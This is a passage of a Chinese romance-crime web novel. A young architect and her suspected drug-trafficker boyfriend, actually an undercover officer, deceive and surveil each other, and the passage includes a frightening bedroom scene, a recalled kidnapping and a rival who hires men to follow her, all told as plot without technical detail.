何詹朝梁然碰杯:“见到梁小姐本人,我就知道原因了。” 陈沥周敛了脸上的笑,认真替梁然解围:“你别这样说,她男朋友听到会误会。梁然算是帮了我的忙,是我的朋友,我对她很感激。” 何詹自然意外梁然已经有男朋友了,连忙对梁然表示歉意,又问她之前在美国哪所大学。 梁然和他们两人聊着,又有人来给他们敬酒庆祝。 陈沥周趁了个空档将梁然带到角落人少的桌台,这里要安静很多。 “来之前吃过东西吗?” “还没有。” 陈沥周说了句抱歉,叫住一个服务生上一些食物过来。 他看了眼觥筹交错的宴会厅:“没有带你男朋友过来吗?” “他还在忙。” “出差还没回来?” “嗯。” 陈沥周问:“冒昧问一下,他从事什么领域?” “他也在创业。”梁然不想过多去透露沈宗野,她淡笑,“突然有些后悔了。” “什么?” “只拿了陈总三倍的设计费。” 陈沥周好笑地扬起唇。 服务生将食物送来,同时过来的还有一名五十几岁的妇女。 陈沥周有些意外,喊她杨姨,问:“我奶奶来了?” “嗯,老太太想来给您庆祝,但她怕打扰您,一直在房间里坐着,刚才的庆典老太太很高兴。” 陈沥周对梁然说:“这是我家人,我先过去看下我奶奶,失陪一下。” 梁然点头。 妇女也朝梁然笑了下,转身领陈沥周走向旁边一间休息室。 妇女是陈沥周家的佣人,多年照顾他奶奶。 休息室里坐着一个年迈的老人,不像一般的老人那样饱满富态,她有些消瘦,上了年纪的嘴唇很薄瘪,皮肤状态也不算养尊处优,生着许多自然衰老和日晒的沟壑。 但她见到陈沥周,眉眼里很是慈爱。 “奶奶,来了就别坐这里,出去坐会儿吧。”陈沥周过去搀扶她。 老人笑了下:“外头都是站着的,我就不去了,你爸爸工作忙又不能来,我自然得来看我家宝贝辉煌的时刻。” 陈沥周失笑,握住老人粗糙的手。 他们家年轻时不算富裕,他奶奶现在手上都还有很多茧,几十年养成的习惯,如今也还爱自己动手打理些花植。 陈沥周的手机响了。 “我爸打的。”他接起电话。 老人便透过玻璃望着外面的梁然。 她身后刚才那个妇女问:“您看上了?” 老人笑:“得问沥周看没看上。” “我刚才过去近距离看到,人家生得可漂亮了,皮肤白,眼睛会说话,身材也好!”妇女满口称赞。 老人捻动手上一串菩提子:“我都想过去看一眼了。” 陈沥周的电话讲完,顺着老人的视线望着外面宴会厅的梁然。 灯光像绚烂的水波,她今天穿着一条银灰长裙,站在灯下像一条不属于这些喧嚣的美人鱼。可陈沥周觉得美人鱼这个形容词又似乎不够尊重,梁然很亮眼,最开始只是她的作品,到现在连同她整个人都耀眼得让人眩目。 老人看了看陈沥周,笑着起身说:“我参加完了,你人生的重要场合我也算没有缺席,我先回去了。” “我送奶奶。” 陈沥周将老人扶出门。 梁然在吃东西,她身边有两位西装革履的男人在跟她交换名片,他们瞧见这边陈沥周出来,朝陈沥周打招呼。 梁然也看见了陈沥周身边的老人。 老人不算养尊处优,甚至有些矮小和消瘦,她脖子上挂着一串佛珠,手上也捻着一串菩提子,站在陈沥周身边笑眯眯地看她。 梁然便朝老人抿笑致意。 老人倒是来到她身前:“你是沥周的同学吗?” “我不是,陈总是我的客户。” 陈沥周连忙介绍:“奶奶,这位是梁小姐,一位很优秀的建筑设计师。” “你是学建筑的呀。”老人说,“那你文凭肯定很高了。” 梁然谦逊。 老人笑眯眯地:“学历高好啊,学历高好,女孩子就是得多有文化。” 梁然礼貌地笑。 老人没再说什么,陈沥周将她送上了保姆车。 陈沥周回来时,梁然已经去人群里拉客户了。 梁然今天的长裙优雅又性感,不管是刚才碍于陈沥周跟她的熟络,还是她本身的魅力,都引得不少人来和她攀谈,女士也有,但还是男性居多。 梁然知道这些人有的多半只是冲着她的皮相来。但她从来都不吝啬这种皮相上的付出,被多看几眼无所谓,只要能换取到价值。 短短十几分钟,她已经给工作室拉到了两个项目,虽然只是口头上的,但至少她又积攒了一点人脉。 只不过她的酒也没少喝。 陈沥周将她从这群人里带走了。 梁然的酒量还不至于喝几杯就醉,只是看了眼时间已经八点,她每天晚上都会在九点钟给沈宗野打电话,沈宗野只有那会儿有单独的时间,白天他身边都有旁人。 现在结束回公寓,时间刚好差不多。 梁然刚想说要离开,陈沥周就说:“我送你。” 梁然本来想拒绝,陈沥周说:“刚才你加到的那几个人,他们每个人都有些八卦,我讲给你听。” 梁然不拒绝了。 开玩笑,哪个女生能做到送到跟前的八卦都不听? 陈沥周没要司机开车,他自己开了车送梁然。 如今公司要运营,他开的车也不是上次和梁然去看场地的越野车,是一台能适应社交的迈巴赫。不过以他如今的实力,这辆车也算彰显他的低调。 坐上车,陈沥周就开始切入进了八卦。 “刚才那个打黄色领带的,他给鲁总投资了1.8亿。” “就是那个比较清瘦的鲁总?” “嗯。” “这算什么八卦。” “他有一天去钓鱼,行程被泄漏了,求他办事的人带着一个爱钓鱼的女教练去跟他偶遇,把人送到他跟前就自动撤了,但那个女教练是鲁总追的情人。” 梁然听多了这种八卦,又是这些,她似笑非笑:“所以鲁总觉得面子上过不去,整他了?” “对,一块地皮加1.8亿,鲁总就不计前嫌了。” “也不是那么刺激。”梁然发表感言。 陈沥周说:“鲁总钓鱼呢,他是鲁总的鱼。” 梁然这才惊讶:“是那位鲁总自己设计的圈套?” “嗯。” “还有什么八卦?” “和你碰杯的李董,他儿子是一个三字流量男明星,立纯欲奶狗人设,但是在国外有一对龙凤胎宝宝。” “要是当狗仔的话,你很会写标题啊。”梁然看向陈沥周。 陈沥周笑。 梁然:“是谁啊?” “我说个缩写,你自己猜。” 梁然没看出来陈沥周会有这么皮的时候。 路程还有些远,梁然听完这些八卦竟在暖和的车厢里睡着了。 陈沥周关掉了音乐,将车稳稳停在酒店车库。 他偏头看着梁然,目光宁静。 酒店的地下车库有进进出出的车辆,但车厢里安静,像一个不被喧嚣打扰的世界。 梁然红唇轻轻抿着,睫毛安静地搭下,披着黑色西装,安全带勒住了她胸前的头发。 陈沥周犹豫了一下,轻轻解开她的安全扣,他正侧过身想将安全带小心地松开,梁然在这时醒了。 她的眼睛生动而漂亮,瞳孔有些意外地睁大。 这样的距离太近,完全不再属于社交距离,而是情侣之间才有的亲密距离。 陈沥周也一时没料到会吵醒梁然,他顿了有几秒,像跌落,像吸引,忘记挪开视线。 直到梁然眼里涌出清醒后的防备,下意识向后躲避。 陈沥周连忙松开手上的安全带,他十分歉疚,忙解释:“抱歉,我只是给你解开安全带,想让你睡得舒服一点。” 梁然垂眸扫了眼,她衣服整齐,西装严严遮掩着礼服。 “不好意思,在你车上睡着了。”梁然拎着包下了车,“谢谢你送我回来,路上注意安全。” 陈沥周张了张唇想再解释,但又怕越解释梁然会越误解。 他说:“没事,拜拜。” 梁然没有上楼,站在电梯口等着陈沥周离开,她才坐进她的车里,开车回公寓。 只是电梯在三楼打开的时候,梁然被谢天明撞到了。 她手腕上挂着只够装手机的晚宴包,提着裙摆走出电梯,谢天明叼着一瓶AD钙奶就站在电梯门口。 他愣了下,从头到脚打量梁然:“嫂子,你怎么穿成这样?” 梁然依旧是那股温柔无害的笑,在沈宗野面前习惯了,她很快切换进这份伪装。 “我有一个客户的公司举办一场活动,我去参加了一下。你哥在低谷期也不跟我说,上次我也只有20万给他,我是想出去多结识一些客户嘛。” 谢天明比沈宗野好应付,他并不会问梁然太深,点点头说:“那你快进去吧,天冷。” 梁然:“你要出门?” “嗯,我去接哥。” 梁然双眼明亮:“沈宗野要回来了?” 梁然完全不知道沈宗野今天晚上会回来。 谢天明说他十点的飞机落地。 梁然很快就换了一身衣服,和谢天明一起去了机场。 她抱着一束花,站在接机口抬头等候,一群一群乘客出来,拥挤的人潮逐渐散开,那道修长卓立的身影才慢悠悠出现在出口。 接近一个月不见,梁然觉得这个人更冷漠了些,青年轮廓分明,眼眸更加深邃,但浑身依旧是那股漫不经心的懒散。 谢天明隔着老远就挥手哈哈笑。 沈宗野也好笑地勾起薄唇,然后他的视线看向梁然。 梁然笑起来,穿过人群冲过去,扑进了沈宗野怀里。 花被云肖连忙接住,她勾着沈宗野脖子,整个人都挂在了他身上。 沈宗野挑挑眉,似笑非笑地看着她。 第55章 第55章“你疯了。” “怎么要回来都不告诉我?!” “怎么,我回来还要向你申请?”沈宗野将梁然从怀里放下。 “天明都知道,你都不告诉我。”梁然酸溜溜的,但她眼神里只有许久不见的欢喜,不忍心责怪。 “给你个惊喜啊。”沈宗野懒洋洋说。 他说话一向敷衍,梁然早就习惯了。 坐上车,梁然靠在沈宗野怀里,她一会儿抬头深情款款地看沈宗野,一会儿摸着他手指把玩。 沈宗野的手要比之前粗糙一些,梁然能感受到。 她说:“这一趟很辛苦吧,你想吃什么?我们去吃东西。” “飞机上吃过了,先回公寓。” 梁然很想知道沈宗野都去干了些什么,但她知道从他口中问不出来。 回到公寓,客厅里飘着饭菜的香气。 大鱼早就做好了一顿美食,热情地来接云肖和老九手上的行李箱。 云肖不客气地坐到餐桌上,说在外面早就想大鱼的手艺了。 沈宗野没吃东西,在和谢天明说话,谢天明在问这一趟在外头还顺不顺利。 梁然拧开一瓶水递给沈宗野,安静地听着沈宗野回答,并不打扰。 可能是碍于她在场,梁然都没听到什么有用的信息,但可以肯定的是沈宗野已经加入一个新的贩。毒组织了。 沈宗野回头来到她身前,将她脸颊的头发捋到耳后。 “今天的妆这么漂亮。” 妆是今晚的宴会妆,刚才来不及卸。 梁然弯起唇,眼睛里只有浓烈的思念。 “你先回你房间,我等下过来找你。”沈宗野的嗓音很轻,用只有他们两个人能听见的亲昵语气,他的声线这样压低时格外磁性。 “好吧,那你要过来,这段时间看不到你,你都不知道我有多想你。” “我也是。” 梁然笑了笑走开了。 沈宗野回到他的卧室。 谢天明这才问起在泰国发生的事情。 沈宗野说完,问谢天明:“梁然这边有什么动静吗?” “没有,她这段时间去了几次之前住的酒店,说是画图的工具都在那里,过去画个设计图。”谢天明说,“她车上的监听设备已经没电了,最近天气冷,掉电实在太快,我就没有再给她装新的,感觉没必要。” 沈宗野点点头。 “她今晚穿着漂亮的礼服,不知道是去哪了,说是给你挣钱去了,满嘴甜言蜜语,张口就来。”谢天明有些感慨。 云肖来房间里叫沈宗野过去吃东西。 沈宗野不饿,继续对谢天明说:“我这趟帮董叔办的事太顺利了,我不觉得事情这么正常。” 谢天明:“你是觉得董叔还在怀疑你,或者还没信任你?” 云肖还没离开,站在房门口说:“哥是觉得我们这段时期这么顺利,是不是乌鱼在背后当推手。如果被董叔发现我们还跟乌鱼有一腿,董叔难保不觉得我们脚踩两只船,不忠心。” 云肖这趟是沈宗野的左膀右臂,他们没带这么多人去,在那边又不敢相信刚收服的几个新人,很多事情都是沈宗野带着云肖和老九三个人亲自去办。云肖跟谢天明说起这些细节,几件难办的事他们都给办妥了,顺利得总有些出奇。 谢天明也沉思下来,问沈宗野:“那你打算怎么做?” “梁然这只眼睛没必要再留在我身边了,虽然我也想弄清楚乌鱼到底想干什么,但再把梁然留在身边恐怕是招险棋。”沈宗野想了下,“一个星期,再看看他们还有什么动作,一个星期后我不想再见到梁然。” 谢天明和云肖都点点头,明白了沈宗野的意思。 虽然做好了这个决定,但目前该有的敷衍还是得先不动声色保持下去。 沈宗野洗了个澡去了梁然的公寓。 梁然打开房门就扑进了他怀里,紧紧搂住他脖子。 她并没有说话,只是这样很紧地抱着他,直到沈宗野感觉到她手臂似乎有隐隐的颤抖。 他低头去看她的脸。 一行泪挂在梁然脸颊。 梁然并没有哭泣的声音,也没有哭泣的动作,她只是这样安静地看着他,唇角是笑的,但是眼睛是红的。 沈宗野再一次震撼于梁然的演技。 如果不是摸透了她的底,他简直都要被她的眼泪打动,辜负这么深情的女孩子简直是他的罪。 “别哭,老子又不是要死了。”沈宗野用大拇指擦起梁然湿乎乎的脸颊。她已经卸了妆,素颜的脸很干净,皮肤是健康的亮白。她的皮肤很软,沈宗野擦拭几下倒将她脸颊摩红了一片。 梁然轻轻握住了他这只手。 沈宗野这段时间经常握枪,手上多了些硬茧。 梁然亲吻他的手指,笑着看他,但这种默默的、没有语言的动作实在让沈宗野觉得恶心。 她是不是没有心? 才能把情深拿捏得这么动人。 沈宗野说:“今晚去哪了?” “不是跟天明说了吗,去挣钱了,想给你减轻负担。” 沈宗野嗤笑:“老子现在有钱了,要你减轻什么负担,明天带你去买包。” 梁然深深看着他,依旧不说话,只是抿着红唇。 沈宗野倒是更习惯梁然张口就来骗她,他本来就不擅长跟女人装亲密。 梁然说:“跟董叔做的事危险吗?” “还好。” “他是让你帮他做轻松一号的生意吗?” 沈宗野微微挑眉:“看到我就只是想问我这些?” 梁然笑了笑,她的睫毛仍是湿润的,她踮起脚尖将鼻尖轻轻贴上他的鼻梁。 “你走后宁城又下了两场雪,我以前生活在南城,从来不知道下雪这么美。你知道吗,落在地面的雪轻盈得像一阵沙,风起时它们从地面升起,好像缥缈的白色雾气,天上人间,那一刻也不过刹那,我想让它们飘去你那里。” “宁城的冬季好像没有秋天风那么大,但是好几次北风吹得我脑袋疼,那天街角有一家奶茶店,我想起你了。你对我说‘起风了,梁然,我来看看你’。” “沈宗野,你有像我想你这样想起我吗?”梁然看着沈宗野的眼睛。 她的眼里倒映着这场寂静的冬季。 到这一步,沈宗野只能吻她。 他撬开她唇齿,粗暴地闯入夺取。 梁然仰着脖子,被他高大的身躯折弯了腰。 她背后撞到了门后,沈宗野的手掌托住她后脑,没让她磕到脑袋。 梁然的呼吸逐渐变得急促起来,细碎的呜咽声断断续续。沈宗野停下,对她说:“我每天都很忙,董叔虽然信任我,但还没让我碰轻松一号的生意,帮他干了些别的活儿。我也会想你,特别是和你挂完电话的时候。” 梁然看着他,整个人挂到了他腰上。 沈宗野微微挑眉。 梁然咬了咬被他亲红的嘴唇:“我信吗?” “什么?” “你说想我,我信吗?”梁然说,“我只信身体的感觉,有时候身体会比嘴巴诚实。” 沈宗野嗤笑:“那你要老子怎么办?” “我想要你证明你在想我。” 沈宗野漆黑的眼眸一点点变得深邃,他摩挲着梁然的嘴唇,勾了勾唇抱着她走进卧室。 青年紧实的手臂将她狠狠扔到大床上,俯下身捏住她下巴欺身吻上。 “梁然,是你自找的。” 沈宗野恣意地笑了,朝卧室环视一圈,盯到梁然挂在衣帽间上的一个羊皮包。 他朝那个包走去。 梁然望着他宽阔的背影,忽然觉得气氛有些让她害怕。 沈宗野将包链从那个包上解下,转身朝她走来。 他黑漆漆的眼眸充满恣意的坏笑,扬了扬下巴,喉结上下轻滚。 “沈宗野……” “要玩就玩点刺激的。”沈宗野扯起链条绑住她手腕。 梁然想挣脱,但被他粗粝的手掌钳制,冰冷的链条缠到了梁然双腕上,将她和床头的铁艺柱绑到了一起。 沈宗野环视一圈,又拿起桌上的香薰蜡烛,他问梁然:“打火机在哪里?” “你疯了。”梁然突然很恐惧,沈宗野平时到这一步都是被心理阴影困扰,根本不会和她来这个。 她手挣脱不了,恼羞地瞪他。 但沈宗野笑得有些肆无忌惮,手指从她脸颊一路滑到她下巴,捏起她下巴说:“要不要试试啊,嗯?” “我不喜欢这种,你倒也不用这么证明吧。”梁然说,“你帮我解开,我们正常一点。” “但是我觉得很有意思。”沈宗野掐住她不安扭动的腰,轻轻咬她耳朵,“梁然,你这个样子真他妈带劲。” 梁然真的被吓到了。 她害怕被绑,她会想起大二那年被那个吸毒的男生报复。当时不知道谁传出去她男朋友是禁毒警察,那个男生吸。毒后状态很疯狂,她是在学校后街的一条巷子里被拖走,再次醒过来双手就被绑在了树上。 男生坐在树底下边吸着一个小瓶子边笑:“不是禁毒警察的女朋友吗,老子今晚就弄死你,都怪你们,没有这些警察毒。品怎么会涨价!” 他脱了裤子想把她放下来,但是毒。瘾上头了,他像具丧尸一样在后山树林里乱窜。 梁然就这样被绑着双手,十几个小时里手臂几乎要断掉了,她很疼,面对黑夜,面对始终下个不停的雨,她恐惧到极点。 包包链条是冰冷的,梁然感觉手腕也冷,跟记忆中的痛苦如出一辙。 面对沈宗野,她很努力地在控制她的恐惧。 她知道她之前只是幸运才遇到沈宗野有心理阴影。 为什么他现在突然没了以前的心理阴影? “沈宗野,你是不是在外面有别人了?” “没有,只是出国长了点见识,我想亲自试一试。” “你别……”腰被沈宗野掐得很疼,耳边全是他滚烫的气息,梁然几乎是央求,“你对我正常点,这样我害怕,我是第一次……” 沈宗野顿住,抬起头看她。 他宽大的身躯终于挪开。 “你没骗我?” “我不会骗你的。”梁然眼眶红了,“我真的是第一次。” 沈宗野忽然有些懊悔,解开梁然手腕上的链条,他突然狠狠踹倒旁边的落地灯。 云朵灯跌到了地毯上,哐当的撞响又让梁然吓了一跳。 沈宗野背过身去,颓废地垂下脑袋:“我真他妈变态啊,这样都起不来。”他狠狠踹着脚下的灯,“艹!” 梁然愣住。 这个背影健硕高大,手臂有紧实的肌肉线条,光看外表,沈宗野的身材实在充满了性的张力,可是梁然居然没想到他还真的……不行? 呵呵,他活该。 沈宗野站起身,扣起慵懒宽大的家居服:“我回去了,今晚你自己睡吧。” “可是你今天刚回来……”梁然后面的话消失在沈宗野黑漆漆的眼眸里。 他的眼睛冷漠又嚣张,带着那种坏到透顶的笑,但又还没从刚才的变态上褪却,盯着她起伏的睡裙花边。 梁然将露在外面的小腿缩回被子里。 沈宗野却拽住了她脚腕,将她狠狠一扯,俯下身挑起她凌乱的头发。 他真的变态极了。 梁然心脏不停地跳快,脸颊早就因为激动红透了。 沈宗野眉梢微挑:“刚刚说的是真的,你还是处?” “嗯。” “那我这样岂不是吓到你了。” 梁然睫毛颤动,当作回应。 沈宗野将她头发捋到耳后:“下次吧,下次我准备一些道具。” 梁然瞳孔一缩,但被垂下的睫毛掩饰,她轻轻抿起唇:“嗯。” 沈宗野离开了房间。 直到听到他将房门关上,梁然才狠狠把包包链条扔下床。 死变态。 等死吧! 夜色罩着这座安静的小区。 公寓里。 沈宗野回去时谢天明很是惊讶,毕竟沈宗野跟梁然还在演情侣的戏呢,今晚按道理得去稳住梁然才对。 沈宗野穿过客厅,他身上慵懒宽大的家居服纽扣扣得整整齐齐。 谢天明:“你不去稳住她啊?” “稳住了。” “啊?”谢天明追问,“这么快,怎么做到的啊?” 沈宗野重新去刷了个牙,不太想回答。 谢天明说:“这有什么好隐瞒的,你告诉我啊,以后万一我也遇到这种情况我好应付。” 沈宗野顿了片刻:“女生应该都怕刑具,我只是吓唬了她。” 是的,对沈宗野来说,链条,蜡烛,哪个不是变态的刑具。 虽然他不信梁然满口的甜言蜜语,也不信她刚才说她是第一次,但她刚才眼睛里的那种恐惧的确不像是演的,尤其是被他绑住手腕的那瞬间。 她是向邬道的人,也许从前受过这些罪也说不清。 沈宗野是来抓毒贩的,他不是来羞辱一个异性的。 刚才那种做法对梁然来说好像确实是她的禁忌,她很害怕。 沈宗野不再去想这桩事,反正他已经决心不再留梁然这只眼睛了。 第56章 第56章公主自己低下头 梁然第二天没有再去主动找沈宗野。 她恨他。 这个男人变态极了,她恨不得马上就能找到证据把他送进监狱里头,这样的日子她好像有些撑不住了。 不能再继续这样等下去。 梁然几乎翻遍了书,又看了一些刑侦的电影,想找出一个能安装摄像头、又不被发现的好办法。只是想了半天还是没头绪,毕竟她不是专业人士。 窗外是一个晴天,气温低到零下,地面的积雪久久不化,依旧是厚厚的洁白雪堆。 梁然坐在窗边发呆,阳台的画板上是没有完成的那幅绿野草地图,她那天敷衍完沈宗野后草地也只画了几笔。 梁然反复去回想和沈宗野接触的每个细节,企图能找到一点有用的东西。 可惜她脑海里只有沈宗野那张欠死的笑脸,他戒备这么重……对了,他们在宁城相遇的第一个夜晚,她曾搭他的车,在车上提起她救了一只流浪猫,沈宗野当时唇角好像是在笑的。 他是不是也喜欢猫? 脑海里灵光一现,梁然忽然有了办法。 她没办法带着监控进入沈宗野的视线,但猫咪可以啊! 梁然马上换了套衣服出门。 顾儒海之前给她代步的那辆车在结尾款时一起送给她了,但梁然没开车出门,担心车上的定位,她还是选择打车走。 只是她在路上接到了陈沥周的电话,陈沥周问她有没有时间来参加一个建筑行业交流会。 梁然有些犹豫:“现在吗?” “对,我也是刚听助理说起,如果早些知道消息我就提前告诉你了。”陈沥周说,“我想你应该对这个有兴趣,你现在不方便吗?” “我有些不方便。”梁然想了想,索性说,“算了,我待会儿再办私事吧,我来找你。” 梁然马上在附近商场买了套正式的衣服,赶去陈沥周的公司和他一起去了交流会。 她连电脑用的都是陈沥周的,在会上向业内大拿展示了她们工作室的落地项目,混了个脸熟,也争取到了一个项目的竞标资格。 如果没有陈沥周,她和乔思嘉很难凭借自己这么快接触这些人脉。 梁然很感谢陈沥周。 陈沥周无所谓地笑了笑:“用不着跟我说谢谢,除了甲乙方的关系,我希望我们也能算是朋友。只是今天实在太赶了,我也没帮你准备得更完善。” 陈沥周的助理是一名年轻的女性,助理十分抱歉地说:“陈总早就交代过要我留意建筑行业的讯息,是我疏忽了,梁小姐,十分抱歉。” “客气了。” 梁然看了眼手表,这边也举行得差不多,她打算离开。 陈沥周说:“走吧,我送你。” 梁然没拒绝,告诉陈沥周:“你送我到附近的宠物店就好,我想养一只猫。” 陈沥周点点头:“你喜欢养猫?” “嗯。” “我奶奶也喜欢宠物,她养的是一只田园犬。” 梁然同陈沥周上了车,如今他已经换了司机开车,助理坐在前排,梁然和陈沥周坐在后车厢。 陈沥周聊起了他奶奶的狗。 梁然安静听着,和她熟悉之后陈沥周好像很健谈,说到田园犬被虫子咬到尾巴,回头又挠不到自己尾巴时,梁然忍不住弯起唇,陈沥周也笑起来,继续聊起狗狗的事。 梁然一边听着,一边在手机上查找附近的宠物店。 “你家狗狗这么大,上次看你奶奶有些清瘦,没想到把狗狗养得这么胖。” 陈沥周把手机里狗狗的照片给梁然看,梁然这样说。 “我奶奶是素食主义者,吃斋念佛,不吃肉,她身体确实有些清瘦。”陈沥周忽然看见梁然的手腕,“你手怎么了?” 车厢里暖气足,梁然脱下了大衣,她正握着手机在看地图,衬衫袖子从她手腕上滑下去,露出一截手腕。 她的皮肤很白,但是手腕上有几圈红色的伤痕,是昨晚沈宗野的链条勒得太粗暴,磨破了皮肤留下的。 “没什么。”梁然自然地拉起袖子盖住。 “有人绑架你?”陈沥周脱口而出,语气变得紧张。 梁然一笑:“没有,都什么年代了,哪有这么多坏人。”梁然说,“可能是我自己不小心磕到了,都没察觉。” 陈沥周显然不相信梁然的解释,他张了张唇,褐色的瞳仁望着梁然,按下了后车厢的隔板。 隔板缓缓升起,将司机与助理隔绝开。 车厢一时安静下来。 梁然偏头轻笑打断正要开口的陈沥周:“你这是做什么,我说了我没事。” “你是不是有什么困难?”陈沥周说,“梁然,虽然我们认识不久,但我看你的作品就像是看老朋友,你的作品跟我想象中喜欢的建筑都很相似,我把你当成朋友,不是乙方。” “如果你有困难一定要跟我说,你是被什么人威胁了吗?”陈沥周难得的严肃,认真地看着梁然,“你手上的伤很明显就是被绑架的。” 他的智商很高。 梁然忽略了,陈沥周本来就是一个多学位的学霸,这样的人智商不会低,她刚才不应该随便敷衍他。 “这是我自己的私事,索性没事了。”梁然微笑,“有你这句话,我也乐意把你当朋友。” 陈沥周张了张唇。 “到了,我就在这里下。”梁然很自然地打断了他。 下了车,陈沥周并没有离开,而是陪她一起去挑选宠物,他说何詹也养猫,他算是对猫咪的种类有些了解,可以帮她选一选。 梁然没拒绝他。 但她明白现在沈宗野回来了,她是不是不应该再一心扑在工作上。 真可惜,最近工作势头正好,是她最喜欢的工作状态。 进到宠物店,耳边都是喵咪软糯糯的叫声。 梁然本来想给沈宗野选一只暹罗,但被笼子里一只雪白的布偶吸引,小猫咪眼睛非常漂亮,昂起小脑袋朝她喵呜一声,懒洋洋地耷拉脑袋晒着窗边的太阳,小尾巴扫啊扫。 梁然蹲下身看它。 它又歪了下脑袋瞅瞅梁然,把窝在腿下的一只小鱼玩具扒拉出来,叼到笼子边上丢给梁然。 梁然连忙接住,笑了起来。 陈沥周也是一笑,镜片后的眼睛多了一份温柔:“它很喜欢你。” “就它吧。” 梁然最终买了这只布偶。 某种意义上猫虽然是她对付沈宗野的工具,但她对猫咪的喜欢却是真的,认真听着店员讲解新手知识。 陈沥周说:“给它起个名字吧。” “回去和我男朋友一起帮它取。” “你男朋友出差回来了?” “嗯。” 陈沥周随口问:“他们交往很久了?” “是。” “他应该很优秀,才会让你这样喜欢他。” 梁然转头看陈沥周:“为什么这么说?” “那我是说对了吗。”陈沥周笑了笑。 上次沈宗野开车去接梁然时,陈沥周见到他的车子并不算什么好车,尤其是沈宗野那根残疾的大拇指让陈沥周印象深刻。 梁然太优秀,不管是工作能力还是她个人的魅力,她都不该仅仅局限于沈宗野这种条件的男人。除非是公主自己低下头。 梁然提着猫篮说她自己打车回去。 陈沥周忽然问:“是他弄的吗?” 他说得很自然,就像上一句在问今天吃了什么,下一句忽然问你银。行卡密码多少。他在套梁然的话,梁然才反应过来。 这个男人只比她大三岁,今年27岁,但看起来他的智商好像超越他们太多。 梁然有些好笑地看着陈沥周。 陈沥周依旧在很认真地问她:“他对你是不是不好?” 梁然轻轻笑了:“虽然我把你当朋友,但你毕竟是个异性,问我私密的事不太好吧。” 路边刚好有出租车经过,梁然直接进了车里,对陈沥周说:“谢谢你今天的帮助,改天请你吃饭。” 梁然不想把陈沥周卷进来。 他的确是个有能力并且真心想把她当朋友的人,但靠近沈宗野太危险了,她不想牵连无辜的人。 “喵呜~” 小猫窝在篮子里,懒洋洋地甩尾巴。 梁然弯起唇,报了之前去过的那家监控器材店地址。 …… 冬季卷起的风不带一丝温度,路边堆满积雪,黑色迈巴赫停在路旁,陈沥周依旧站在原地,看着梁然离开的方向。 他眼神有些深邃,走向车子驾驶座:“你们自己打辆车吧,我暂时不回公司。” 司机和助理都下了车,陈沥周驱车离开,去了一处老旧的厂区。 他在这里租了一间仓库,很久没再用过。 等了有一个小时,两个中年男人才出现在门口,小心地敲响铁门。 陈沥周起身去开门,他们喊他:“小陈老师。” “不好意思,让你们辛苦跑一趟了。” 两个男人说不辛苦,他们是上次在面馆吃面的那两个中年男人。 两人明明只有三十几岁,但长期的日晒和辛苦让他们皮肤暗黄,身体也有不健康的消瘦,其中一个男人手还有控制不住的抖动。 两个人见到陈沥周,有一些尊敬、害怕,又很愿意亲近。 “小陈老师,对不起,我们花了一百块钱了,这是剩下的860块钱。”其中一个手抖的男人把钱递给陈沥周。 “你们留着吧。”陈沥周虽然没过问,但也能猜到是上次面馆老板退给他们的。 陈沥周说:“我是有事情想请你们帮助,我有个朋友可能遇到了危险,我想请你们帮我跟个人。” 陈沥周把梁然的照片给他们看,是他公司晚宴的那晚摄影师记录的。 两人看完照片记下了梁然的样子。 陈沥周说:“她有一个男朋友,外表很英俊,一米八几的个子,左手大拇指有残疾。这个人可能比较危险,你们可以不用跟太紧,注意自己的安全。” 两人答应下来,说会帮他办好这件事。 陈沥周给他们转了笔钱,两人说不要:“你帮我们的已经够多了。” 陈沥周说:“收下吧。拜托了。” 陈沥周并不想跟踪梁然,只是直觉告诉他梁然的男朋友可能对她不好。 他忽然觉得这种方式有些罪恶,但是直觉却还是让他这么做了。 …… 梁然带着小猫回了公寓,没多久宠物店把她订的猫舍也送到了家里。 沈宗野是在傍晚时回来的。 冬季的天黑得很早,才六点窗外的夜幕已经一片漆黑。 梁然听到沈宗野开门后,抱着小猫去了他的公寓。 她将猫藏在身后,明媚的脸上笑意动人。 “猜猜我带了什么来?” 沈宗野刚刚进门,正脱下大衣外套,有些懒散地挑眉:“给我的新年礼物?” 元旦那天梁然买的礼物昨晚还没来得及拿给沈宗野。 梁然差点把礼物都搞忘了。 她笑:“是我们家的新成员,我的新朋友。”她将猫抱到怀里。 这只布偶很听话,刚才这么配合她,但是这会儿它见到沈宗野倒是调皮起来,从梁然怀里跳到沈宗野脚边,粉红色的小鼻子嗅嗅沈宗野裤腿,抬起小脑袋冲他喵呜叫。 小猫愉快地甩甩尾巴,抱住沈宗野小腿扯他裤腿,喵呜喵呜叫着,像在撒娇黏人。 直到沈宗野忍俊不禁笑了,它才松开小爪爪,跳到沙发上,心满意足地窝着。 沈宗野看着这只猫,白色的小猫穿着粉色格子衣服,衣服上还带着一圈蕾丝花边。它毛绒绒的脑袋上夹了一个可爱的发卡,脖子上也有一圈装饰。 猫甩甩尾巴,就这样惬意地窝着,把沙发变成它的领地,咕噜咕噜响。 沈宗野:“你送我的?” “不是啊,你平时没什么时间陪我,我养来陪我的。”梁然说,“它好漂亮,你给它起个名字吧。” 沈宗野对这只猫倒没有抵触。 梁然松了口气。 他看着小猫说:“葡萄、提子、草莓、榴莲、香蕉,你自己选一个。” 梁然:“……” 还能再随便点吗。 沈宗野回头看她:“不喜欢?” “那就叫葡萄吧。”梁然蹲到小猫身前,“葡萄,我们有名字啦,开不开心?” 沈宗野忽然停在梁然背后。 青年俯下身,那股沉香的薄荷凉逼近,他手臂从她身边穿过,握住她手腕。 “啧,红成这样了,我弄的?” 梁然回头瞪他。 沈宗野不见多少心疼,他的眼睛似笑非笑,亲了亲她手腕上开始有些淤紫的红印。 “以后不这么弄你了,疼吗?” 梁然说:“外面起风了,我今天吹了风有些偏头痛,上次你去酒店看我都知道给我买奶茶。” “刚回来,公司忙。我现在去给你买杯热的喝吧。” 梁然没拒绝。 沈宗野披上外套拿了车钥匙出门。 梁然和葡萄窝在沙发上等沈宗野,他在半个小时后就回来了,带回来的有两杯奶茶,一些柠檬鸡爪和小零食。 梁然一笑:“你好像越来越懂我了,我正好想吃这种味道的鸡爪。” 沈宗野淡笑。 梁然先将他那杯奶茶插上吸管递给他。 沈宗野说:“我不喝,给天明留一杯。” 梁然酸溜溜地递给他一记白眼:“那我们俩喝一杯。” 谢天明很快也回来了,看到客厅里这么漂亮高贵的一只猫,直呼喜欢,把葡萄抱到膝盖上挼。 